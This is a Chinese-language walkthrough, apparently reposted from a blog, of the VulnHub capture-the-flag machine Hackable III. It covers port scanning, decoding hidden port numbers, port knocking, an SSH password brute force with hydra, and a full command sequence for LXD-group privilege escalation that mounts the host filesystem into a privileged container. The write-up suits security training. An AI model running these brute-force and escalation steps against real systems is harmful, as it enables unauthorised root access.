自学内容网 自学内容网

vulnhub靶场之hackableIII

一.环境搭建

1.靶场描述

Focus on general concepts about CTF

Difficulty: Medium

This works better with VirtualBox rather than VMware.

2.靶场下载

https://download.vulnhub.com/hackable/hackable3.ova

3.靶场启动

二.信息收集

1.寻找靶场真实的Ip

nmap -SP 192.168.246.0/25

arp-scan -l

我们根据这两个命令,可以知道靶场真实IP为192.168.246.7

2.探测端口及服务

nmap -p-  -sV http://192.168.246.7

我们可以看到就2个端口,一个80端口,一个22端口

三.渗透测试

1.访问web服务

http://192.168.246.7

我们可以看到就一个页面,我们查看源代码,可以发现一串英文,和一个登录页面

可以看到是一个提示,我们可能需要使用端口敲门

我们访问登录页面

http://192.168.246.7/login_page/login.html

随便输入用户名和密码,发现进去是空白的,我们查看源代码,可以看到一个3.jpg

我们进行访问

http://192.168.246.7/3.jpg

可以看到是一个图片,我们使用steghide进行解密得到:65535

2.扫描web服务

1)nikto扫描网站结构

nikto -h http://192.168.246.7

2)dirb扫描

dirb http://192.168.246.7

3)dirsearch扫描

dirsearch -u http://192.168.246.7 -e * -x 403 --random-agent

我们可以看到扫描的目录都是一样的,我们一个一个进行访问

3.渗透测试

1)访问目录

http://192.168.246.7/backup/

我们可以看到是一串数字,可能是密码或者用户名

http://192.168.246.7/config

我们发现是一串base64编码,我们进行解密是一个端口

http://192.168.246.7/css/2.txt

我们可以看到是一串Brainfuck编码,解密之后又是一个端口号

根据这些信息,我们猜测是端口敲门。

2)端口敲门

由于网络原因,靶机IP地址更改为10.0.2.4

knock 10.0.2.4 10000 4444 65535

我们没有输入端口敲门命令之前,22端口是关闭的,现在可以看到是开放的

我们开启了22端口,那么我们就使用ssh进行登录

3)ssh登录

用户名我们可以想到是前面源代码里面的jubiscleudo,密码我们使用前面的字典

hydra  -l  jubiscleudo   -P  wordlist.txt   10.0.2.4  ssh

我们可以看到爆破成功,我们进行登录

我们可以看到登录成功

接下来我们就是提权

4)提权

我们查看根目录,可以看到有/home/目录,目录下有一个新的用户,我们进行查看,可以看到密码,我们进行登录

我们进行登录

我们查看id,我们看到lxd,那么这里可能就是使用lxd进行提权

何为LXD呢?
LXD(Linux Containers Daemon)是一个用于管理 Linux 容器的守护进程。它提供了一个用户友好的命令行界面和 RESTful API,用于创建、管理和监视 Linux 容器。LXD 构建在 LXC(Linux Containers)之上,是一个轻量级、高性能的容器虚拟化解决方案。
利用原理就是利用lxd组的用户创建一个容器,再用容器挂载到宿主机的磁盘,就可以利用容器的权限(运行在root权限下)操作这个宿主机从而达到提权了

lxd 提权原理是下载一个镜像,使用镜像创建容器,将容器目录直接映射到物理主机目录,即可在容器中直接访问物理主机的文件

查看当前系统中的镜像:lxc image list

cd /tmp
git clone https://github.com/saghul/lxd-alpine-builder/
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686
lxc image import ./alpine*.tar.gz --alias myimage
lxd init
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
lxc start mycontainer
lxc exec mycontainer /bin/sh

5)获取flag


原文地址:https://blog.csdn.net/qq_58091216/article/details/142746352

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!